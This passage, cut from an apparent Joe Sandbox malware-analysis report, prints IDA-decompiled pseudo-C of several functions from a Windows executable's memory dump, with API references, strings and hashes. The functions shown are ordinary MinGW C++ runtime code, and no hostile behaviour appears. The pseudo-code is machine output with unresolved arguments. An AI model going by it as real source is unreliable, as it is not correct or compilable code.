				_push(__edi);
				_push(__esi);
				_push(__ebx);
				_push(__edx);
				_push(__eax);
				_t84 = _t83 - 0x124;
				_t51 = _a4;
				if(_t51[0xc] != 0) {
					_t74 =  &_v284;
					E003F8320( &_v284, _v0,  &_a4);
					_t37 = memcpy( &_v156, _t74, 0x20 << 2);
					_t84 = _t84 + 0xc;
					_t68 = _t74 + 0x40;
					if(E003F8670(_t37,  &_v288,  &_v156) != 7) {
						abort();
						abort();
						abort();
						L004042F8();
						L004042F8();
						L004042F8();
						L004042F8();
						L004042F8();
						L004042F8();
						abort();
						abort();
						abort();
						abort();
						_push(_t79);
						_push(_t74);
						_t85 = _t84 - 0x1c;
						 *_t85 = "libgcc_s_dw2-1.dll";
						_t39 = GetModuleHandleA(_t51);
						_t86 = _t85 - 4;
						if(_t39 == 0) {
							_t40 = 0x3fae40;
							_t75 = E003FA660;
						} else {
							_t53 = _t39;
							 *_t86 = "libgcc_s_dw2-1.dll";
							_t43 = LoadLibraryA(??);
							_t88 = _t86 - 4;
							 *0x513020 = _t43;
							_v356 = "__register_frame_info";
							 *_t88 = _t53;
							_t44 = GetProcAddress(??, ??);
							_t89 = _t88 - 8;
							_t75 = _t44;
							_v356 = "__deregister_frame_info";
							 *_t89 = _t53;
							_t40 = GetProcAddress(??, ??);
							_t86 = _t89 - 8;
						}
						 *0x4a1004 = _t40;
						if(_t75 != 0) {
							_v356 = 0x513024;
							 *_t86 = 0x4d4104;
							 *_t75();
						}
						 *_t86 = 0x3e1560;
						return L003E14A0();
					} else {
						_t46 = E003F6750( &_v284,  &_v156);
						_t54 = _v80;
						_v312 = _t54;
						 *_t84 = _v84;
						E003F8A30(_v84);
						 *((intOrPtr*)(_t79 + _t46 + 4)) = _t54;
						return _v24;
					}
				} else {
					__eax = E003F8A40(__eax, __ebx, __edx, __edi, __esi, __ebx);
					__ebx = _v16;
					__esi = _v12;
					__edi = _v8;
					__esp = __ebp;
					_pop(__ebp);
					return __eax;
				}
			}

0x003f8d30
0x003f8d30
0x003f8d31
0x003f8d33
0x003f8d34
0x003f8d35
0x003f8d36
0x003f8d37
0x003f8d38
0x003f8d3e
0x003f8d46
0x003f8d6d
0x003f8d73
0x003f8d85
0x003f8d85
0x003f8d85
0x003f8d95
0x0049aa37
0x0049aa3c
0x0049aa44
0x0049aa49
0x0049aa4e
0x0049aa53
0x0049aa58
0x0049aa5d
0x0049aa62
0x0049aa67
0x0049aa6c
0x0049aa71
0x0049aa76
0x003e14c0
0x003e14c4
0x003e14c6
0x003e14c9
0x003e14d0
0x003e14d6
0x003e14db
0x003e1550
0x003e1555
0x003e14dd
0x003e14dd
0x003e14df
0x003e14e6
0x003e14f2
0x003e14f5
0x003e14fa
0x003e1502
0x003e1505
0x003e1507
0x003e150a
0x003e150c
0x003e1514
0x003e1517
0x003e1519
0x003e1519
0x003e151c
0x003e1523
0x003e1525
0x003e152d
0x003e1534
0x003e1534
0x003e1536
0x003e1549
0x003f8d9b
0x003f8da7
0x003f8dac
0x003f8db1
0x003f8dbe
0x003f8dc1
0x003f8dc6
0x003f8dde
0x003f8dde
0x003f8d48
0x003f8d4b
0x003f8d50
0x003f8d53
0x003f8d56
0x003f8d59
0x003f8d59
0x003f8d5a
0x003f8d5a

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdb9806c5138bdfd9d8f3b4a3cdcf4277f2da096a142e0bc6cb020470c3a5bc7
Instruction ID: 130162adac7850e7956879a1ec7bb7b952aa59d786b0ee6e2853a86d1dea49d4
Opcode Fuzzy Hash: cdb9806c5138bdfd9d8f3b4a3cdcf4277f2da096a142e0bc6cb020470c3a5bc7
Instruction Fuzzy Hash: B8214D74A0021D9BCF14EF60C8819EEF7B5EF85348F0084A9E9097B342DB30AE499F91

Uniqueness

Uniqueness Score: -1.00%

Function 003F9050 Relevance: 16.6, APIs: 11, Instructions: 94COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA44
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA49
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA4E
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA53
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA58
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA5D
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA62
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA67
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA6C
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA71
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA76

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: d7cac87a2e3111dbfca36cb2373736a6f8f14b42feffc0d5eb641d1d257a45a7
Instruction ID: 2859acd6f4d44d9f0c1defd009a069f9dc40787498130eb7bc07c3e5e6c67a0b
Opcode Fuzzy Hash: d7cac87a2e3111dbfca36cb2373736a6f8f14b42feffc0d5eb641d1d257a45a7
Instruction Fuzzy Hash: 2C210B323042198BC704DF58D8817A677A6EBC631872C81BFE64C8B755D637A806D791

Uniqueness

Uniqueness Score: -1.00%

Function 004058C0 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 43fileCOMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,004946C0,?,?,?,?,?,?,00497ADF), ref: 0049883C
abort.MSVCRT(?,?,?,?,?,?,004946C0,?,?,?,?,?,?,00497ADF), ref: 00498849
fwrite.MSVCRT ref: 0049888B
fputs.MSVCRT ref: 004988A0
fputc.MSVCRT ref: 004988B9
abort.MSVCRT(?,?,?,?,?,?,004946C0,?,?,?,?,?,?,00497ADF), ref: 004988C3
free.MSVCRT(?,?,?,?,?,?,004946C0,?,?,?,?,?,?,00497ADF), ref: 004988CB

Strings

what(): , xrefs: 00498884

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: abort$fputcfputsfreefwrite
String ID: what():
API String ID: 3364258748-593870882
Opcode ID: 9d7707372af10808ee4e184cb22361ec9eca18ad99dd100b8f81c70b5c12ac93
Instruction ID: 73598f6d636e127b18bab553cdbb1600eb50f726b4ff6eb54cea924fd9cbaabe
Opcode Fuzzy Hash: 9d7707372af10808ee4e184cb22361ec9eca18ad99dd100b8f81c70b5c12ac93
Instruction Fuzzy Hash: 300192B05183049ED7447FB9C04A62DBEE0AF85348F41587FF5C997246DB7C55409B2B

Uniqueness

Uniqueness Score: -1.00%

Function 00410280 Relevance: 13.7, APIs: 6, Strings: 3, Instructions: 237
stringCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E00410280(intOrPtr* __ecx, void* __edx, void* __edi, intOrPtr* _a4) {
				void* _v16;
				char* _v32;
				intOrPtr _v36;
				char _v44;
				int _v48;
				int _v52;
				signed int _v56;
				void* __ebx;
				void* __esi;
				intOrPtr _t101;
				char _t104;
				int _t108;
				int _t112;
				char** _t114;
				int _t115;
				signed int _t117;
				signed int _t119;
				char* _t124;
				signed int _t125;
				intOrPtr _t126;
				intOrPtr _t127;
				intOrPtr* _t129;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr* _t134;
				intOrPtr _t137;
				int _t143;
				intOrPtr _t147;
				char** _t150;
				int _t151;
				intOrPtr _t155;
				int _t162;
				intOrPtr* _t167;
				char _t171;
				signed int _t174;
				signed int _t175;
				void* _t185;
				void* _t187;
				signed int _t191;
				intOrPtr _t195;
				intOrPtr _t197;
				intOrPtr _t199;
				char* _t202;
				char* _t204;
				char* _t205;
				void* _t206;
				signed int _t209;
				char* _t210;
				signed int _t211;
				void* _t212;
				signed int _t214;
				char* _t215;
				char* _t216;
				void* _t217;
				void* _t219;
				void* _t221;
				char* _t222;
				char** _t225;
				char** _t227;
				char** _t228;

				_t185 = __edx;
				_t101 = __ecx + 8;
				_t219 = _t221;
				_push(__edi);
				_push(_t206);
				_t167 = __ecx;
				_t222 = _t221 - 0x2c;
				 *__ecx = _t101;
				_v36 = _t101;
				 *((char*)(__ecx + 8)) = 0;
				 *(__ecx + 4) = 0;
				_t202 =  *( *_a4 + 0x10);
				_t104 =  *_t202;
				if(_t104 == 0) {
					_v48 = 0x2a;
					_v52 = 1;
					_v56 = 0;
					 *_t222 = 0;
					E00482FD0(__ecx, __ecx, _t202, _t206, _t219);
					goto L7;
				} else {
					_t171 = _t104;
					if(_t202[4] == 0) {
						L6:
						 *_t222 = _t171;
						_t108 = strlen(??);
						_v52 = _t171;
						_v48 = _t108;
						_v56 = 0;
						 *_t222 = 0;
						E00482400(_t167, _t167, _t202, _t171, _t219);
						L7:
						goto L8;
					} else {
						_v32 = _t171;
						_t209 = 0;
						while(1) {
							_t209 = _t209 + 1;
							_v56 =  *((intOrPtr*)(_t202 + _t209 * 4));
							 *_t222 = _t202[_t209 * 4 - 4];
							_t112 = strcmp(??, ??);
							if(_t112 != 0) {
								break;
							}
							if(_t209 <= 4) {
								continue;
							} else {
								_t171 = _v32;
								if(_t112 != 0) {
									break;
								} else {
									goto L6;
								}
							}
							goto L77;
						}
						 *_t222 = 0x80;
						E00484B20(_t167, _t185);
						_t114 =  *0x4ce238; // 0x4ce160
						_t225 = _t222 - 4;
						_t210 =  *_t114;
						 *_t225 = _t210;
						_t115 = strlen(??);
						_t187 = 0x3fffffff -  *(_t167 + 4);
						if(0x3fffffff < _t115) {
							L34:
							 *_t225 = "basic_string::append";
							_t211 = L004997B0(_t187, _t202);
							_t117 =  *_t167;
							if(_v36 != _t117) {
								_v56 = _t117;
								L00497910();
							}
							_v56 = _t211;
							E003F8C90(_t117, _t167, _t187, _t202, _t211);
							_t119 = _v52;
							if(_t119 !=  &_v44) {
								_v56 = _t119;
								L00497910();
							}
							_t120 = _t167;
							_t190 = _t211 + 1;
							_v56 = _t167;
							if(_t211 + 1 == 0) {
								L00497B30();
							}
							L00497A60(E003F8C90(_t120, _t167, _t190, _t202, _t211));
							L00497BA0(_t167, _t202, _t211, _t219);
							_t124 =  *(_t167 + 4);
							while(1) {
								_t211 = _t211 + 1;
								if(_t211 >=  *((intOrPtr*)(_t167 + 8))) {
									break;
								}
								_t175 =  *((intOrPtr*)(_t124 + _t211 * 4));
								if(_t175 != 0) {
									_t131 =  *0x4c3bd0; // 0x2
									if(_t131 != 0) {
										_t132 = 0xffffffff;
										asm("lock xadd [ecx+0x4], eax");
									} else {
										_t132 =  *((intOrPtr*)(_t175 + 4));
										 *((intOrPtr*)(_t175 + 4)) = _t132 - 1;
									}
									if(_t132 == 1) {
										_t134 =  *((intOrPtr*)( *_t175 + 4));
										if(_t134 != 0x4810a0) {
											 *_t134();
										} else {
											_v56 = _t175;
											L00497910();
										}
									}
									_t124 =  *(_t167 + 4);
								}
							}
							if(_t124 != 0) {
								_v56 = _t124;
								L00497900();
							}
							_t125 =  *((intOrPtr*)(_t167 + 0xc));
							if(_t125 != 0) {
								if( *((intOrPtr*)(_t167 + 8)) == 0) {
									L57:
									_v56 = _t125;
									L00497900();
								} else {
									_t214 = 0;
									do {
										_t174 =  *((intOrPtr*)(_t125 + _t214 * 4));
										if(_t174 != 0) {
											_t126 =  *0x4c3bd0; // 0x2
											if(_t126 != 0) {
												_t127 = 0xffffffff;
												asm("lock xadd [ecx+0x4], eax");
											} else {
												_t127 =  *((intOrPtr*)(_t174 + 4));
												 *((intOrPtr*)(_t174 + 4)) = _t127 - 1;
											}
											if(_t127 == 1) {
												_t129 =  *((intOrPtr*)( *_t174 + 4));
												if(_t129 != 0x4810a0) {
													 *_t129();
												} else {
													_v56 = _t174;
													L00497910();
												}
											}
											_t125 =  *((intOrPtr*)(_t167 + 0xc));
										}
										_t214 = _t214 + 1;
									} while (_t214 <  *((intOrPtr*)(_t167 + 8)));
									if(_t125 != 0) {
										goto L57;
									}
								}
							}
							_t191 =  *((intOrPtr*)(_t167 + 0x10));
							_t212 = 0;
							if(_t191 != 0) {
								do {
									_t125 =  *((intOrPtr*)(_t191 + _t212));
									if(_t125 != 0) {
										_v56 = _t125;
										L00497900();
										_t191 =  *((intOrPtr*)(_t167 + 0x10));
									}
									_t212 = _t212 + 4;
								} while (_t212 != 0x18);
								if(_t191 != 0) {
									_v56 = _t191;
									L00497900();
								}
							}
							return _t125;
						} else {
							_v56 = _t115;
							 *_t225 = _t210;
							E00484DB0(_t167);
							_t215 =  *(_t167 + 4);
							_t137 =  *_t167;
							_t227 = _t225 - 8;
							_t202 =  &(_t215[1]);
							if(_v36 == _t137) {
								_t195 = 0xf;
							} else {
								_t195 =  *((intOrPtr*)(_t167 + 8));
							}
							if(_t195 < _t202) {
								_v48 = 1;
								_v52 = 0;
								_v56 = 0;
								 *_t227 = _t215;
								E00484F90(_t167);
								_t137 =  *_t167;
								_t225 = _t227 - 0x10;
							}
							 *((char*)(_t137 + _t215)) = 0x3d;
							 *(_t167 + 4) = _t202;
							 *((char*)( *_t167 +  &(_t215[1]))) = 0;
							_t216 =  *( *( *_a4 + 0x10));
							 *_t225 = _t216;
							_t143 = strlen(??);
							_t187 = 0x3fffffff -  *(_t167 + 4);
							if(0x3fffffff < _t143) {
								L33:
								 *_t225 = "basic_string::append";
								L004997B0(_t187, _t202);
								goto L34;
							} else {
								_v56 = _t143;
								 *_t225 = _t216;
								E00484DB0(_t167);
								_t225 = _t225 - 8;
								_t217 = 4;
								while(1) {
									_t204 =  *(_t167 + 4);
									_v32 =  &(_t204[1]);
									_t147 =  *_t167;
									if(_v36 == _t147) {
										_t197 = 0xf;
									} else {
										_t197 =  *((intOrPtr*)(_t167 + 8));
									}
									if(_t197 < _v32) {
										_v48 = 1;
										_v52 = 0;
										_v56 = 0;
										 *_t225 = _t204;
										E00484F90(_t167);
										_t147 =  *_t167;
										_t225 = _t225 - 0x10;
									}
									 *((char*)(_t147 + _t204)) = 0x3b;
									 *(_t167 + 4) = _v32;
									 *((char*)( *_t167 +  &(_t204[1]))) = 0;
									_t150 =  *0x4ce238; // 0x4ce160
									_t202 =  *(_t150 + _t217);
									 *_t225 = _t202;
									_t151 = strlen(??);
									_t187 = 0x3fffffff -  *(_t167 + 4);
									if(0x3fffffff < _t151) {
										break;
									}
									_v56 = _t151;
									 *_t225 = _t202;
									E00484DB0(_t167);
									_t205 =  *(_t167 + 4);
									_t228 = _t225 - 8;
									_v32 =  &(_t205[1]);
									_t155 =  *_t167;
									if(_v36 == _t155) {
										_t199 = 0xf;
									} else {
										_t199 =  *((intOrPtr*)(_t167 + 8));
									}
									if(_t199 < _v32) {
										_v48 = 1;
										_v52 = 0;
										_v56 = 0;
										 *_t228 = _t205;
										E00484F90(_t167);
										_t155 =  *_t167;
										_t225 = _t228 - 0x10;
									}
									 *((char*)(_t155 + _t205)) = 0x3d;
									 *(_t167 + 4) = _v32;
									 *((char*)( *_t167 +  &(_t205[1]))) = 0;
									_t202 = ( *( *_a4 + 0x10))[_t217];
									 *_t225 = _t202;
									_t162 = strlen(??);
									_t187 = 0x3fffffff -  *(_t167 + 4);
									if(0x3fffffff < _t162) {
										 *_t225 = "basic_string::append";
										L004997B0(_t187, _t202);
										break;
									} else {
										_v56 = _t162;
										 *_t225 = _t202;
										E00484DB0(_t167);
										_t217 = _t217 + 4;
										_t225 = _t225 - 8;
										if(_t217 == 0x18) {
											L8:
											return _t167;
										} else {
											continue;
										}
									}
									goto L77;
								}
								 *_t225 = "basic_string::append";
								L004997B0(_t187, _t202);
								goto L33;
							}
						}
					}
				}
				L77:
			}

0x00410280
0x00410281
0x00410284
0x00410286
0x00410287
0x00410289
0x0041028b
0x0041028e
0x00410290
0x00410296
0x0041029c
0x004102a3
0x004102a6
0x004102aa
0x00410520
0x00410528
0x00410530
0x00410538
0x0041053f
0x00000000
0x004102b0
0x004102b0
0x004102b7
0x004102e6
0x004102e6
0x004102eb
0x004102f0
0x004102f6
0x004102fa
0x00410302
0x00410309
0x0041030e
0x00000000
0x004102b9
0x004102b9
0x004102bc
0x004102c0
0x004102c0
0x004102c6
0x004102ce
0x004102d1
0x004102d8
0x00000000
0x00000000
0x004102dd
0x00000000
0x004102df
0x004102df
0x004102e4
0x00000000
0x00000000
0x00000000
0x00000000
0x004102e4
0x00000000
0x004102dd
0x00410320
0x00410329
0x0041032e
0x00410333
0x00410336
0x00410338
0x0041033b
0x00410345
0x0041034a
0x004105ae
0x004105ae
0x004105ba
0x004989f0
0x004989f5
0x004989f7
0x004989fa
0x004989fa
0x004989ff
0x00498a02
0x00498a08
0x00498a10
0x00498a12
0x00498a15
0x00498a15
0x00498a1a
0x00498a1e
0x00498a21
0x00498a24
0x00498a26
0x00498a26
0x00498a33
0x00498a38
0x00498a3d
0x00480e23
0x00480e23
0x00480e29
0x00000000
0x00000000
0x00480e2b
0x00480e30
0x00480e32
0x00480e39
0x00480f28
0x00480f2d
0x00480e3f
0x00480e3f
0x00480e45
0x00480e45
0x00480e4b
0x00480e4f
0x00480e57
0x00480f50
0x00480e5d
0x00480e5d
0x00480e60
0x00480e60
0x00480e57
0x00480e20
0x00480e20
0x00480e30
0x00480e72
0x00480e74
0x00480e77
0x00480e77
0x00480e7c
0x00480e81
0x00480e88
0x00480ee4
0x00480ee4
0x00480ee7
0x00480e8a
0x00480e8a
0x00480e9b
0x00480e9b
0x00480ea0
0x00480ea2
0x00480ea9
0x00480f40
0x00480f45
0x00480eaf
0x00480eaf
0x00480eb5
0x00480eb5
0x00480ebb
0x00480ebf
0x00480ec7
0x00480f60
0x00480ecd
0x00480ecd
0x00480ed0
0x00480ed0
0x00480ec7
0x00480e90
0x00480e90
0x00480e93
0x00480e96
0x00480ee2
0x00000000
0x00000000
0x00480ee2
0x00480e88
0x00480eec
0x00480eef
0x00480ef3
0x00480ef8
0x00480ef8
0x00480efd
0x00480eff
0x00480f02
0x00480f07
0x00480f07
0x00480f0a
0x00480f0d
0x00480f14
0x00480f16
0x00480f19
0x00480f19
0x00480f14
0x00480f23
0x00410350
0x00410350
0x00410356
0x00410359
0x0041035e
0x00410361
0x00410363
0x00410366
0x0041036c
0x00410580
0x00410372
0x00410372
0x00410372
0x00410377
0x00410550
0x0041055a
0x00410562
0x0041056a
0x0041056d
0x00410572
0x00410574
0x00410574
0x0041037d
0x00410383
0x00410386
0x00410393
0x00410395
0x00410398
0x004103a2
0x004103a7
0x004105a2
0x004105a2
0x004105a9
0x00000000
0x004103ad
0x004103ad
0x004103b3
0x004103b6
0x004103bb
0x004103be
0x00410485
0x00410485
0x0041048b
0x0041048e
0x00410493
0x00410510
0x00410495
0x00410495
0x00410495
0x0041049d
0x004104a3
0x004104ad
0x004104b5
0x004104bd
0x004104c0
0x004104c5
0x004104c7
0x004104c7
0x004103d0
0x004103d7
0x004103dc
0x004103e1
0x004103e6
0x004103e9
0x004103ec
0x004103f6
0x004103fb
0x00000000
0x00000000
0x00410401
0x00410407
0x0041040a
0x0041040f
0x00410412
0x00410418
0x0041041b
0x00410420
0x00410500
0x00410426
0x00410426
0x00410426
0x0041042e
0x004104d0
0x004104da
0x004104e2
0x004104ea
0x004104ed
0x004104f2
0x004104f4
0x004104f4
0x00410434
0x0041043b
0x00410440
0x0041044d
0x00410450
0x00410453
0x0041045d
0x00410462
0x0041058a
0x00410591
0x00000000
0x00410468
0x00410468
0x0041046e
0x00410471
0x00410476
0x00410479
0x0041047f
0x00410311
0x0041031a
0x00000000
0x00000000
0x00000000
0x0041047f
0x00000000
0x00410462
0x00410596
0x0041059d
0x00000000
0x0041059d
0x004103a7
0x0041034a
0x004102b7
0x00000000

APIs

strcmp.MSVCRT ref: 004102D1
strlen.MSVCRT ref: 004102EB
strlen.MSVCRT ref: 0041033B
strlen.MSVCRT ref: 00410398
strlen.MSVCRT ref: 004103EC

Strings

basic_string::append, xrefs: 0041058A, 00410596, 004105A2, 004105AE
`L, xrefs: 0041032E, 004103E1
*, xrefs: 00410520

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: strlen$strcmp
String ID: *$`L$basic_string::append
API String ID: 551667898-2418535294
Opcode ID: 9c38f1873f6d65b31468a8cd52a0509cac203765282190c27e4be2b736e19521
Instruction ID: 52ddf3e5beb72a02b52f37de9e82a4af9338619155f2f40a164cd09b94a5dc2c
Opcode Fuzzy Hash: 9c38f1873f6d65b31468a8cd52a0509cac203765282190c27e4be2b736e19521
Instruction Fuzzy Hash: C6A13D70608201DFDB00EF69C18476EBBF2AF85304F51896EE8989F345DB79D885CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00482400 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 0048249D
memcpy.MSVCRT ref: 004824C8
memmove.MSVCRT ref: 00482517
memmove.MSVCRT ref: 0048254D
memcpy.MSVCRT ref: 00482598

Strings

basic_string::_M_replace, xrefs: 004826F6

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: d301a50ce7efbc4b04bbef69d445e7c46afc9c9d25d040dca39c9c38e815c093
Instruction ID: 2566b9846530d4d45f67c6c8eea392957c2433025cf629772f44b84f56bd6e52
Opcode Fuzzy Hash: d301a50ce7efbc4b04bbef69d445e7c46afc9c9d25d040dca39c9c38e815c093
Instruction Fuzzy Hash: D4814474A083419FC715EF2CD28042EBBE1AFC6704F148D2EE5D997351D27AD884DBA6

Uniqueness

Uniqueness Score: -1.00%

Function 003FAE90 Relevance: 13.7, APIs: 9, Instructions: 182
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E003FAE90(void* __ecx, intOrPtr _a4, intOrPtr* _a8, signed int _a16, signed int _a20) {
				void* _v16;
				char _v32;
				intOrPtr _v48;
				void* _v64;
				struct _SECURITY_ATTRIBUTES* _v68;
				signed int _v72;
				char* _v116;
				signed int __ebp;
				signed int _t36;
				signed int _t37;
				signed char _t39;
				signed int _t40;
				signed char _t43;
				struct HINSTANCE__* _t47;
				_Unknown_base(*)()* _t48;
				struct HINSTANCE__* _t51;
				intOrPtr* _t52;
				signed int _t58;
				signed int _t60;
				CHAR* _t63;
				intOrPtr _t64;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr _t71;
				intOrPtr _t72;
				signed int* _t74;
				signed int _t77;
				intOrPtr* _t78;
				intOrPtr _t80;
				intOrPtr* _t81;
				char* _t82;
				signed int _t83;
				signed int _t84;
				void* _t86;
				void** _t87;
				char** _t89;
				char** _t90;
				intOrPtr* _t92;
				intOrPtr* _t93;

				_t87 = _t86 - 0x3c;
				_t36 =  *0x4c3bd0; // 0x2
				_t80 = _a4;
				_t78 = _a8;
				if(_t36 != 0) {
					__eax =  *0x4c3bdc; // 0x1
					__eflags = __eax;
					if(__eflags == 0) {
						asm("lock add dword [0x4c3be0], 0x1");
						if(__eflags != 0) {
							__eax =  *0x4c3bdc; // 0x1
							__eflags = __eax;
							if(__eax == 0) {
								do {
									Sleep(0);
									__ebp =  *0x4c3bdc; // 0x1
									__esp = __esp - 4;
									__eflags = __ebp;
								} while (__ebp == 0);
							}
						} else {
							 *0x5130c8 = 0xffffffff;
							__eax = CreateSemaphoreW(0, 0, 0xffff, 0);
							 *0x4c3bdc = 1;
							 *0x5130cc = __eax;
							__esp = __esp - 0x10;
						}
						__ecx =  *0x4c3bd0; // 0x2
						__eflags = __ecx;
						if(__eflags != 0) {
							goto L8;
						}
					} else {
						L8:
						asm("lock add dword [0x5130c8], 0x1");
						if(__eflags != 0) {
							__eax =  *0x5130cc;
							__eax = WaitForSingleObject( *0x5130cc, 0xffffffff);
							__esp = __esp - 8;
							__eflags = __eax;
							if(__eax != 0) {
								asm("lock sub dword [0x5130c8], 0x1");
							}
						}
					}
				}
				_t83 =  *0x5130d0;
				__eflags = _t83;
				if(_t83 != 0) {
					while(1) {
						__eflags = _t80 -  *_t83;
						if(_t80 >=  *_t83) {
							break;
						}
						_t83 = _a20;
						__eflags = _t83;
						if(_t83 == 0) {
							goto L24;
						} else {
							continue;
						}
						goto L58;
					}
					_t60 = L003F9E00(_t83, _t80);
					_t63 = _t60;
					__eflags = _t60;
					if(_t60 == 0) {
						goto L24;
					} else {
						_t77 =  *0x4c3bd0; // 0x2
						__eflags = _t77;
						if(__eflags != 0) {
							asm("lock sub dword [0x5130c8], 0x1");
							if(__eflags >= 0) {
								_v68 = 0;
								_v72 = 1;
								 *_t87 =  *0x5130cc;
								ReleaseSemaphore(??, ??, ??);
								_t87 = _t87 - 0xc;
							}
						}
						goto L15;
					}
				} else {
					while(1) {
						L24:
						_t84 =  *0x5130d4;
						__eflags = _t84;
						if(_t84 == 0) {
							break;
						}
						 *0x5130d4 = _a20;
